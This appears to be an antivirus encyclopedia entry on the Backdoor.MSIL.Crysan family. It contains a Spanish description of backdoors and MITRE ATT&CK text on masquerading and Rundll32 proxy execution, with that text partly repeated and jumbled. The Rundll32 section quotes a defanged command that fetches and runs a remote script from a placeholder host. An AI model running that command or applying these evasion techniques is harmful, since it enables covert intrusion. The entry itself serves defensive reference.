Clase: Backdoor
Las puertas traseras están diseñadas para dar a los usuarios maliciosos el control remoto de una computadora infectada. En términos de funcionalidad, las puertas traseras son similares a muchos sistemas de administración diseñados y distribuidos por los desarrolladores de software. Estos tipos de programas maliciosos hacen posible hacer todo lo que el autor desee en la computadora infectada: enviar y recibir archivos, iniciar archivos o eliminarlos, mostrar mensajes, eliminar datos, reiniciar la computadora, etc. Los programas de esta categoría se utilizan a menudo para unir un grupo de computadoras de víctimas y formar una red zombi o botnet. Esto le da a los usuarios maliciosos control centralizado sobre un ejército de computadoras infectadas que luego pueden ser utilizadas con fines delictivos. También hay un grupo de puertas traseras que son capaces de propagarse a través de redes e infectar a otras computadoras como Net-Worms. La diferencia es que tales Backdoors no se propagan automáticamente (como Net-Worms), sino solo con un "comando" especial del usuario malintencionado que los controla.Más información
Plataforma: MSIL
El lenguaje intermedio común (anteriormente conocido como Microsoft Intermediate Language o MSIL) es un lenguaje intermedio desarrollado por Microsoft para .NET Framework. El código CIL es generado por todos los compiladores de Microsoft .NET en Microsoft Visual Studio (Visual Basic .NET, Visual C ++, Visual C # y otros).Familia: Backdoor.MSIL.Crysan
No family descriptionExamples
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Tactics and Techniques: Mitre*
TA0005
Defense Evasion
The adversary is trying to avoid being detected.
Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.
Defense Evasion consists of techniques that adversaries use to avoid detection throughout their compromise. Techniques used for defense evasion include uninstalling/disabling security software or obfuscating/encrypting data and scripts. Adversaries also leverage and abuse trusted processes to hide and masquerade their malware. Other tactics’ techniques are cross-listed here when those techniques include the added benefit of subverting defenses.
T1036.005
Masquerading: Match Legitimate Name or Location
Adversaries may match or approximate the name or location of legitimate files or resources when naming/placing them. This is done for the sake of evading defenses and observation. This may be done by placing an executable in a commonly trusted directory (ex: under System32) or giving it the name of a legitimate, trusted program (ex: svchost.exe). In containerized environments, this may also be done by creating a resource in a namespace that matches the naming convention of a container pod or cluster. Alternatively, a file or container image name given may be a close approximation to legitimate programs/images or something innocuous.
Adversaries may also use the same icon of the file they are trying to mimic.
Adversaries may also use the same icon of the file they are trying to mimic.
T1218.011
System Binary Proxy Execution: Rundll32
Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex:
Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this:
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command
Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)
rundll32.exe {DLLname, DLLfunction}).Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions
Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command
rundll32.exe ExampleDLL.dll, ExampleFunction, rundll32.exe would first attempt to execute ExampleFunctionW, or failing that ExampleFunctionA, before loading ExampleFunction). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W and/or A to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: rundll32.exe file.dll,#1).Additionally, adversaries may use Masquerading techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)
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